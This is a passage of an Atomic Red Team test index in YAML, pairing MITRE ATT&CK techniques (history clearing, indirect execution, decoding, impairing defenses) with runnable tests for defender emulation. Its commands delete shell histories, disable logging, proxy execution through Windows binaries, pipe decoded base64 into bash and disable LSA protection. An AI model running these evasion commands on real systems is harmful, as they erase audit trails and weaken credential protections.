the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Vikas Singh, Sophos - Emile Kenning, Sophos - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: |- User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity. Monitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.5' x_mitre_data_sources: - 'Process: Process Creation' - 'File: File Deletion' - 'File: File Modification' - 'Command: Command Execution' - 'User Account: User Account Authentication' x_mitre_defense_bypassed: - Host forensic analysis - Log analysis type: attack-pattern id: attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a created: '2020-01-31T12:32:08.228Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1070/003 external_id: T1070.003 - source_name: Sophos PowerShell command audit description: jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020. url: https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit - source_name: Microsoft PowerShell Command History description: Microsoft. (2020, May 13). About History. Retrieved September 4, 2020. url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7 - source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A - source_name: Sophos PowerShell Command History Forensics description: Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020. url: https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1070.003 atomic_tests: - name: Clear Bash history (rm) auto_generated_guid: a934276e-2be5-4a36-93fd-98adbb5bd4fc description: 'Clears bash history via rm ' input_arguments: history_path: description: Bash history path type: path default: "~/.bash_history" supported_platforms: - linux - macos executor: command: 'rm #{history_path} ' name: sh - name: Clear Bash history (echo) auto_generated_guid: cbf506a5-dd78-43e5-be7e-a46b7c7a0a11 description: 'Clears bash history via echo ' input_arguments: history_path: description: Bash history path type: path default: "~/.bash_history" supported_platforms: - linux executor: command: 'echo "" > #{history_path} ' name: sh - name: Clear Bash history (cat dev/null) auto_generated_guid: b1251c35-dcd3-4ea1-86da-36d27b54f31f description: 'Clears bash history via cat /dev/null ' supported_platforms: - linux - macos input_arguments: history_path: description: Bash history path type: path default: "~/.bash_history" executor: command: 'cat /dev/null > #{history_path} ' name: sh - name: Clear Bash history (ln dev/null) auto_generated_guid: 23d348f3-cc5c-4ba9-bd0a-ae09069f0914 description: 'Clears bash history via a symlink to /dev/null ' supported_platforms: - linux - macos input_arguments: history_path: description: Bash history path type: path default: "~/.bash_history" executor: command: 'ln -sf /dev/null #{history_path} ' name: sh - name: Clear Bash history (truncate) auto_generated_guid: 47966a1d-df4f-4078-af65-db6d9aa20739 description: 'Clears bash history via truncate ' supported_platforms: - linux input_arguments: history_path: description: Bash history path type: path default: "~/.bash_history" executor: command: 'truncate -s0 #{history_path} ' name: sh - name: Clear history of a bunch of shells auto_generated_guid: 7e6721df-5f08-4370-9255-f06d8a77af4c description: 'Clears the history of a bunch of different shell types by setting the history size to zero ' supported_platforms: - linux - macos executor: command: | unset HISTFILE export HISTFILESIZE=0 history -c name: sh - name: Clear and Disable Bash History Logging auto_generated_guid: 784e4011-bd1a-4ecd-a63a-8feb278512e6 description: 'Clears the history and disable bash history logging of the current shell and future shell sessions ' supported_platforms: - linux - macos executor: command: | set +o history echo 'set +o history' >> ~/.bashrc . ~/.bashrc history -c cleanup_command: | sed -i 's/set +o history//g' ~/.bashrc . ~/.bashrc set -o history name: sh - name: Use Space Before Command to Avoid Logging to History auto_generated_guid: 53b03a54-4529-4992-852d-a00b4b7215a6 description: 'Using a space before a command causes the command to not be logged in the Bash History file ' supported_platforms: - linux - macos executor: command: | hostname whoami name: sh - name: Disable Bash History Logging with SSH -T auto_generated_guid: 5f8abd62-f615-43c5-b6be-f780f25790a1 description: 'Keeps history clear and stays out of lastlog,wtmp,btmp ssh -T keeps the ssh client from catching a proper TTY, which is what usually gets logged on lastlog ' supported_platforms: - linux dependencies: - description: 'Install sshpass and create user account used for excuting ' prereq_command: "$(getent passwd testuser1 >/dev/null) && $(which sshpass >/dev/null)\n" get_prereq_command: | [ "$(uname)" = 'FreeBSD' ] && pw useradd testuser1 -g wheel -s /bin/sh || /usr/sbin/useradd testuser1 [ "$(uname)" = 'FreeBSD' ] && echo 'pwd101!' | pw mod user testuser1 -h 0 || echo -e 'pwd101!\npwd101!' | passwd testuser1 (which yum && yum -y install epel-release sshpass)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y sshpass)||(which pkg && pkg install -y sshpass) executor: command: 'sshpass -p ''pwd101!'' ssh testuser1@localhost -T hostname ' cleanup_command: '[ "$(uname)" = ''FreeBSD'' ] && rmuser -y testuser1 || userdel -f testuser1 ' name: sh - name: Clear Docker Container Logs auto_generated_guid: 553b39f9-1e8c-47b1-abf5-8daf7b0391e9 description: 'Clears Docker container logs using the Docker CLI and the truncate command, removing all log entries. ' supported_platforms: - linux executor: name: bash command: 'docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log ' elevation_required: true - name: Prevent Powershell History Logging auto_generated_guid: 2f898b81-3e97-4abb-bc3f-a95138988370 description: 'Prevents Powershell history ' supported_platforms: - windows executor: command: 'Set-PSReadlineOption -HistorySaveStyle SaveNothing ' name: powershell cleanup_command: Set-PSReadLineOption -HistorySaveStyle SaveIncrementally - name: Clear Powershell History by Deleting History File auto_generated_guid: da75ae8d-26d6-4483-b0fe-700e4df4f037 description: 'Clears Powershell history ' supported_platforms: - windows executor: command: 'Remove-Item (Get-PSReadlineOption).HistorySavePath ' name: powershell - name: Set Custom AddToHistoryHandler to Avoid History File Logging auto_generated_guid: 1d0d9aa6-6111-4f89-927b-53e8afae7f94 description: "The \"AddToHistoryHandler\" receives the current command as the $line variable and then returns $true if \nthe line should be written to the history file. Here we simply return $false so nothing gets added to \nthe history file for the current session. \n" supported_platforms: - windows executor: command: 'Set-PSReadLineOption -AddToHistoryHandler { return $false } ' cleanup_command: 'Set-PSReadLineOption -AddToHistoryHandler $null ' name: powershell T1202: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Matthew Demaske, Adaptforward object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e created: '2018-04-18T17:59:24.739Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1202 url: https://attack.mitre.org/techniques/T1202 - source_name: Evi1cg Forfiles Nov 2017 url: https://twitter.com/Evi1cg/status/935027922397573120 description: Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018. - source_name: RSA Forfiles Aug 2017 url: https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe description: Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018. - source_name: VectorSec ForFiles Aug 2017 url: https://twitter.com/vector_sec/status/896049052642533376 description: vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018. x_mitre_deprecated: false revoked: false description: |- Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads. modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Indirect Command Execution x_mitre_detection: 'Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_defense_bypassed: - Static File Analysis - Application Control x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1202 atomic_tests: - name: Indirect Command Execution - pcalua.exe auto_generated_guid: cecfea7a-5f03-4cdd-8bc8-6f7c22862440 description: | The Program Compatibility Assistant (pcalua.exe) may invoke the execution of programs and commands from a Command-Line Interface. [Reference](https://twitter.com/KyleHanslovan/status/912659279806640128) Upon execution, calc.exe should open supported_platforms: - windows input_arguments: payload_path: description: Path to payload type: path default: C:\Windows\System32\calc.exe process: description: Process to execute type: string default: calc.exe executor: command: | pcalua.exe -a #{process} pcalua.exe -a #{payload_path} name: command_prompt - name: Indirect Command Execution - forfiles.exe auto_generated_guid: 8b34a448-40d9-4fc3-a8c8-4bb286faf7dc description: | forfiles.exe may invoke the execution of programs and commands from a Command-Line Interface. [Reference](https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Forfiles.yml) "This is basically saying for each occurrence of notepad.exe in c:\windows\system32 run calc.exe" Upon execution calc.exe will be opened. supported_platforms: - windows input_arguments: process: description: Process to execute type: string default: calc.exe executor: command: 'forfiles /p c:\windows\system32 /m notepad.exe /c #{process} ' name: command_prompt - name: Indirect Command Execution - conhost.exe auto_generated_guid: cf3391e0-b482-4b02-87fc-ca8362269b29 description: | conhost.exe refers to a host process for the console window. It provide an interface between command prompt and Windows explorer. Executing it through command line can create process ancestry anomalies [Reference] (http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/) supported_platforms: - windows input_arguments: process: description: Process to execute type: string default: notepad.exe executor: command: 'conhost.exe "#{process}" ' name: command_prompt - name: Indirect Command Execution - Scriptrunner.exe auto_generated_guid: 0fd14730-6226-4f5e-8d67-43c65f1be940 description: |- The "ScriptRunner.exe" binary can be abused to proxy execution through it and bypass possible whitelisting. Upon test execution, calc.exe should open Reference: https://x.com/NickTyrer/status/914234924655312896 supported_platforms: - windows input_arguments: payload_path: description: Path to the executable type: String default: C:\Windows\System32\calc.exe executor: command: Scriptrunner.exe -appvscript "#{payload_path}" cleanup_command: name: powershell elevation_required: false T1140: technique: modified: '2023-08-14T19:28:18.334Z' name: Deobfuscate/Decode Files or Information description: |- Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016) Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Matthew Demaske, Adaptforward - Red Canary x_mitre_deprecated: false x_mitre_detection: |- Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160). Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Linux - macOS x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: Process Creation' - 'Script: Script Execution' - 'File: File Modification' x_mitre_defense_bypassed: - Anti-virus - Host Intrusion Prevention Systems - Signature-based Detection - Network Intrusion Detection System type: attack-pattern id: attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c created: '2017-12-14T16:46:06.044Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1140 external_id: T1140 - source_name: Volexity PowerDuke November 2016 description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.' url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ - source_name: Malwarebytes Targeted Attack against Saudi Arabia description: Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017. url: https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/ - source_name: Carbon Black Obfuscation Sept 2016 description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018. url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1140 atomic_tests: - name: Deobfuscate/Decode Files Or Information auto_generated_guid: dc6fe391-69e6-4506-bd06-ea5eeb4082f8 description: | Encode/Decode executable Upon execution a file named T1140_calc_decoded.exe will be placed in the temp folder supported_platforms: - windows input_arguments: executable: description: name of executable type: path default: C:\Windows\System32\calc.exe executor: command: | certutil -encode #{executable} %temp%\T1140_calc.txt certutil -decode %temp%\T1140_calc.txt %temp%\T1140_calc_decoded.exe cleanup_command: | del %temp%\T1140_calc.txt >nul 2>&1 del %temp%\T1140_calc_decoded.exe >nul 2>&1 name: command_prompt - name: Certutil Rename and Decode auto_generated_guid: 71abc534-3c05-4d0c-80f7-cbe93cb2aa94 description: 'Rename certutil and decode a file. This is in reference to latest research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html) ' supported_platforms: - windows input_arguments: executable: description: name of executable/file to decode type: path default: C:\Windows\System32\calc.exe executor: command: | copy %windir%\system32\certutil.exe %temp%\tcm.tmp %temp%\tcm.tmp -encode #{executable} %temp%\T1140_calc2.txt %temp%\tcm.tmp -decode %temp%\T1140_calc2.txt %temp%\T1140_calc2_decoded.exe cleanup_command: | del %temp%\tcm.tmp >nul 2>&1 del %temp%\T1140_calc2.txt >nul 2>&1 del %temp%\T1140_calc2_decoded.exe >nul 2>&1 name: command_prompt - name: Base64 decoding with Python auto_generated_guid: 356dc0e8-684f-4428-bb94-9313998ad608 description: 'Use Python to decode a base64-encoded text string and echo it to the console ' supported_platforms: - linux - macos input_arguments: message: description: Message to print to the screen type: string default: Hello from Atomic Red Team test T1140! encoded_file: description: File to temporarily save encoded text type: path default: "/tmp/T1140.encoded" dependencies: - description: 'Python must be present ' prereq_command: 'which python3 ' get_prereq_command: 'echo "Please install Python 3" ' executor: name: sh elevation_required: false command: | ENCODED=$(python3 -c 'import base64;enc=base64.b64encode("#{message}".encode());print(enc.decode())') python3 -c "import base64;dec=base64.b64decode(\"$ENCODED\");print(dec.decode())" python3 -c "import base64 as d;dec=d.b64decode(\"$ENCODED\");print(dec.decode())" python3 -c "from base64 import b64decode;dec=b64decode(\"$ENCODED\");print(dec.decode())" python3 -c "from base64 import b64decode as d;dec=d(\"$ENCODED\");print(dec.decode())" echo $ENCODED | python3 -c "import base64,sys;dec=base64.b64decode(sys.stdin.read());print(dec.decode())" echo $ENCODED > #{encoded_file} && python3 -c "import base64;dec=base64.b64decode(open('#{encoded_file}').read());print(dec.decode())" - name: Base64 decoding with Perl auto_generated_guid: 6604d964-b9f6-4d4b-8ce8-499829a14d0a description: "Use Perl to decode a base64-encoded text string and echo it to the console \n" supported_platforms: - linux - macos input_arguments: message: description: Message to print to the screen type: string default: Hello from Atomic Red Team test T1140! encoded_file: description: File to temporarily save encoded text type: path default: "/tmp/T1140.encoded" dependencies: - description: 'Perl must be present ' prereq_command: 'which perl ' get_prereq_command: 'echo "Please install Perl" ' executor: name: sh elevation_required: false command: | ENCODED=$(perl -e "use MIME::Base64;print(encode_base64('#{message}'));") perl -le "use MIME::Base64;print(decode_base64('$ENCODED'));" echo $ENCODED | perl -le 'use MIME::Base64;print(decode_base64());' echo $ENCODED > #{encoded_file} && perl -le 'use MIME::Base64;open($f,"<","#{encoded_file}");print(decode_base64(<$f>));' - name: Base64 decoding with shell utilities auto_generated_guid: b4f6a567-a27a-41e5-b8ef-ac4b4008bb7e description: 'Use common shell utilities to decode a base64-encoded text string and echo it to the console ' supported_platforms: - linux - macos input_arguments: message: description: Message to print to the screen type: string default: Hello from Atomic Red Team test T1140! encoded_file: description: File to temporarily save encoded text type: path default: "/tmp/T1140.encoded" executor: name: sh elevation_required: false command: | ENCODED=$(echo '#{message}' | base64) printf $ENCODED | base64 -d echo $ENCODED | base64 -d echo $(echo $ENCODED) | base64 -d echo $ENCODED > #{encoded_file} && base64 -d #{encoded_file} echo $ENCODED > #{encoded_file} && base64 -d < #{encoded_file} echo $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d bash -c "{echo,\"$(echo $ENCODED)\"}|{base64,-d}" - name: Base64 decoding with shell utilities (freebsd) auto_generated_guid: b6097712-c42e-4174-b8f2-4b1e1a5bbb3d description: 'Use common shell utilities to decode a base64-encoded text string and echo it to the console ' supported_platforms: - linux input_arguments: message: description: Message to print to the screen type: string default: Hello from Atomic Red Team test T1140! encoded_file: description: File to temporarily save encoded text type: path default: "/tmp/T1140.encoded" executor: name: sh elevation_required: false command: | ENCODED=$(echo '#{message}' | b64encode -r -) printf $ENCODED | b64decode -r echo $ENCODED | b64decode -r echo $(echo $ENCODED) | b64decode -r echo $ENCODED > #{encoded_file} && b64encode -r #{encoded_file} echo $ENCODED > #{encoded_file} && b64decode -r < #{encoded_file} echo $ENCODED > #{encoded_file} && cat #{encoded_file} | b64decode -r echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | b64decode -r - name: FreeBSD b64encode Shebang in CLI auto_generated_guid: 18ee2002-66e8-4518-87c5-c0ec9c8299ac description: "Using b64decode shell scripts that have Shebang in them. This is commonly how attackers obfuscate passing and executing a shell script. Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html) by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml) for it. \n" supported_platforms: - linux input_arguments: bash_encoded: description: Encoded type: string default: IyEvYmluL2Jhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= dash_encoded: description: Encoded type: string default: IyEvYmluL2Rhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= fish_encoded: description: Encoded type: string default: IyEvYmluL2Rhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= sh_encoded: description: Encoded type: string default: IyEvYmluL3NoCmVjaG8gImh0dHBzOi8vd3d3LnlvdXR1YmUuY29tL0BhdG9taWNzb25hZnJpZGF5IEZUVyIK dependencies: - description: 'b64decode must be present ' prereq_command: 'which b64decode ' get_prereq_command: 'echo "please install b64decode" ' executor: name: sh elevation_required: false command: | echo #{bash_encoded} | b64decode -r | sh echo #{dash_encoded} | b64decode -r | sh echo #{fish_encoded} | b64decode -r | sh echo #{sh_encoded} | b64decode -r | sh - name: Hex decoding with shell utilities auto_generated_guid: '005943f9-8dd5-4349-8b46-0313c0a9f973' description: 'Use common shell utilities to decode a hex-encoded text string and echo it to the console ' supported_platforms: - linux - macos input_arguments: message: description: Message to print to the screen type: string default: Hello from Atomic Red Team test T1140! encoded_file: description: File to temporarily save encoded text type: path default: "/tmp/T1140.encoded" dependencies: - description: 'xxd must be present ' prereq_command: 'which xxd ' get_prereq_command: 'echo "Please install xxd" ' executor: name: sh elevation_required: false command: | ENCODED=$(echo '#{message}' | xxd -ps -c 256) printf $ENCODED | xxd -r -p echo $ENCODED | xxd -r -p echo $(echo $ENCODED) | xxd -r -p echo $ENCODED > #{encoded_file} && xxd -r -p #{encoded_file} echo $ENCODED > #{encoded_file} && xxd -r -p < #{encoded_file} echo $ENCODED > #{encoded_file} && cat #{encoded_file} | xxd -r -p echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | xxd -r -p - name: Linux Base64 Encoded Shebang in CLI auto_generated_guid: 3a15c372-67c1-4430-ac8e-ec06d641ce4d description: "Using Linux Base64 Encoded shell scripts that have Shebang in them. This is commonly how attackers obfuscate passing and executing a shell script. Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html) by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml) for it. \n" supported_platforms: - linux - macos input_arguments: bash_encoded: description: Encoded type: string default: IyEvYmluL2Jhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= dash_encoded: description: Encoded type: string default: IyEvYmluL2Rhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= fish_encoded: description: Encoded type: string default: IyEvYmluL2Rhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= sh_encoded: description: Encoded type: string default: IyEvYmluL3NoCmVjaG8gImh0dHBzOi8vd3d3LnlvdXR1YmUuY29tL0BhdG9taWNzb25hZnJpZGF5IEZUVyIK dependencies: - description: 'base64 must be present ' prereq_command: 'which base64 ' get_prereq_command: 'echo "please install base64" ' executor: name: sh elevation_required: false command: | echo #{bash_encoded} | base64 -d | bash echo #{dash_encoded} | base64 -d | bash echo #{fish_encoded} | base64 -d | bash echo #{sh_encoded} | base64 -d | bash - name: XOR decoding and command execution using Python auto_generated_guid: c3b65cd5-ee51-4e98-b6a3-6cbdec138efc description: An adversary can obfuscate malicious commands or payloads using XOR and execute them on the victim's machine. This test uses Python to decode and execute commands on the machine. supported_platforms: - linux - macos input_arguments: xor_key: description: 'Key used to decrypt the command ' type: string default: waEHleblxiQjoxFJQaIMLdHKz encrypted_command: description: Encrypted command that will be executed type: string default: AAkqKQEM dependency_executor_name: bash dependencies: - description: Python3 must be installed prereq_command: which python3 get_prereq_command: echo "Install Python3" executor: command: 'python3 -c ''import base64; import subprocess; xor_decrypt = lambda text, key: "".join([chr(c ^ ord(k)) for c, k in zip(base64.b64decode(text.encode()), key)]); command = "#{encrypted_command}"; key = "#{xor_key}"; exec = xor_decrypt(command, key); subprocess.call(exec, shell=True)''' cleanup_command: name: bash elevation_required: false T1562: technique: modified: '2023-10-20T16:43:53.391Z' name: Impair Defenses description: |- Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators. Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: |- Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious. Monitor environment variables and APIs that can be leveraged to disable security measures. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Office 365 - IaaS - Linux - macOS - Containers - Network x_mitre_version: '1.5' x_mitre_data_sources: - 'File: File Modification' - 'Cloud Service: Cloud Service Disable' - 'Firewall: Firewall Rule Modification' - 'Command: Command Execution' - 'Script: Script Execution' - 'Process: Process Modification' - 'Windows Registry: Windows Registry Key Deletion' - 'Process: Process Termination' - 'Service: Service Metadata' - 'Cloud Service: Cloud Service Modification' - 'User Account: User Account Modification' - 'File: File Deletion' - 'Sensor Health: Host Status' - 'Process: OS API Execution' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Driver: Driver Load' - 'Firewall: Firewall Disable' x_mitre_defense_bypassed: - Anti-virus - Signature-based detection - Host intrusion prevention systems - File monitoring - Digital Certificate Validation - Host forensic analysis - Log analysis - Firewall type: attack-pattern id: attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529 created: '2020-02-21T20:22:13.470Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1562 external_id: T1562 - source_name: Emotet shutdown description: The DFIR Report. (2022, November 8). Emotet Strikes Again – LNK File Leads to Domain Wide Ransomware. Retrieved March 6, 2023. url: https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1562 atomic_tests: - name: Windows Disable LSA Protection auto_generated_guid: 40075d5f-3a70-4c66-9125-f72bee87247d description: "The following Atomic adds a registry entry to disable LSA Protection.\n\nThe LSA controls and manages user rights information, password hashes and other important bits of information in memory. Attacker tools, such as mimikatz, rely on accessing this content to scrape password hashes or clear-text passwords. Enabling LSA Protection configures Windows to control the information stored in memory in a more secure fashion - specifically, to prevent non-protected processes from accessing that data.\nUpon successful execution, the registry will be modified and RunAsPPL will be set to 0, disabling Lsass protection.\nhttps://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection#how-to-disable-lsa-protection\nhttps://blog.netwrix.com/2022/01/11/understanding-lsa-protection/\nhttps://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/ \ \n" supported_platforms: - windows executor: command: 'reg add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f ' cleanup_command: 'reg delete HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /f >nul 2>&1 ' name: command_prompt elevation_required: true - name: Disable journal logging via systemctl utility auto_generated_guid: c3a377f9-1203-4454-aa35-9d391d34768f description: 'The atomic test disables the journal logging using built-in systemctl utility ' supported_platforms: - linux executor: command: 'sudo systemctl stop systemd-journald #disables journal logging ' cleanup_command: | sudo systemctl start systemd-journald #starts journal service sudo systemctl enable systemd-journald #starts journal service automatically at boot time name: sh elevation_required: true - name: Disable journal logging via sed utility auto_generated_guid: 12e5551c-8d5c-408e-b3e4-63f53b03379f description: 'The atomic test disables the journal logging by searching and replacing the "Storage" parameter to "none" within the journald.conf file, thus any new journal entries will only be temporarily available in memory and not written to disk 